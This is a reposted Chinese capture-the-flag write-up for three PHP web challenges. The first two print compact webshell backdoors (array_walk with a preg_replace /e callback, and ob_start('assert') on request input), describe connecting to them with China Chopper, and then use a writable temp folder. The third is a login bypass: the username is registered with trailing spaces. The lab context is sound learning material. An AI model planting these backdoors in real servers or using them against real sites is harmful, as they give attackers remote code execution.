week 9 for cnas writeup

栏目: PHP · 发布时间: 6年前

内容简介:week 9 for cnas writeup

http://47.100.121.220:28001/01.php

解答

<?php 
show_source(__FILE__); 
highlight_file('about.php'); 
?> <?php 
$e = $_REQUEST['a']; 
$arr = array($_POST['b'] => '|.*|e',); 
array_walk($arr, $e, '');

如上代码,是一个 PHP 木马。是可以用菜刀连接的。

这里用到array_walk函数

array_walk() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。

array_walk(array,myfunction,userdata...)
参数 说明
array 必需。规定数组。
myfunction 必需。用户自定义函数的名称。
userdata,… 可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。

网上给的是用assert函数,但是这里用assert不行。然后在学长的提醒下,这里提到|e,

所以可以用preg_replace函数.

如下图构造菜刀连接

week 9 for cnas writeup

或者直接hackbar

week 9 for cnas writeup

02 100

题目链接

http://47.100.121.220:28002/index.php

解答

<?php 
show_source(__FILE__); 
echo "</br>"; 
highlight_file('about.php'); 
echo "</br>"; 
highlight_file('echo.php'); 
?> 
<?php 
ob_start('assert'); 
echo $_REQUEST['pass']; 
ob_end_flush(); 
//关键缓存每5分钟清理一次。</br> 
<?php 
include "func.php"; 

$your_real_ip = real_ip(); 
$path = "temp/".$your_real_ip."_http_request_history.txt"; 

$url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; 
echo $your_real_ip."</br>"; 
echo $url; 

$fout = null; 
if(file_exists($path)) { 
    $fout = fopen($path, "ab") or die("Unable to open file!"); 
} 
else { 
    $fout = fopen($path, "wb") or die("Unable to open file!"); 
} 
fwrite($fout, $url."\n"); 
fclose($fout); 
?>

这里也提到了一种PHP木马的写法

<?php 
ob_start('assert'); 
echo $_REQUEST['pass']; 
ob_end_flush();

ob_start(“assert”)的意思设置assert作为ob操作结束时回调函数,

这个PHP木马是没有回显的

但是在给出的echo.php的代码有给出一些提示

这里说到的是temp文件夹是有写的权限的。

所以如下执行

week 9 for cnas writeup

week 9 for cnas writeup

login 100

题目链接

http://47.100.121.220:28003/

解答

这个题目注册完账号登录后会提示你

您已登录成功,但只有nari用户才可以看到flag.

这里根本没有任何思路的,然后学长告诉我。

注册nari后加个空格就可以了,我一脸懵逼。他也不知道为什么?

所以我注册nari加两个空格进去了,拿到flag。

flag{a3afa127cfb57f423c7bc019587031020a2ce630}

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Flexible Pattern Matching in Strings

Flexible Pattern Matching in Strings

Gonzalo Navarro、Mathieu Raffinot / Cambridge University Press / 2007-7-30 / USD 64.99

String matching problems range from the relatively simple task of searching a single text for a string of characters to searching a database for approximate occurrences of a complex pattern. Recent ye......一起来看看 《Flexible Pattern Matching in Strings》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

SHA 加密
SHA 加密

SHA 加密工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具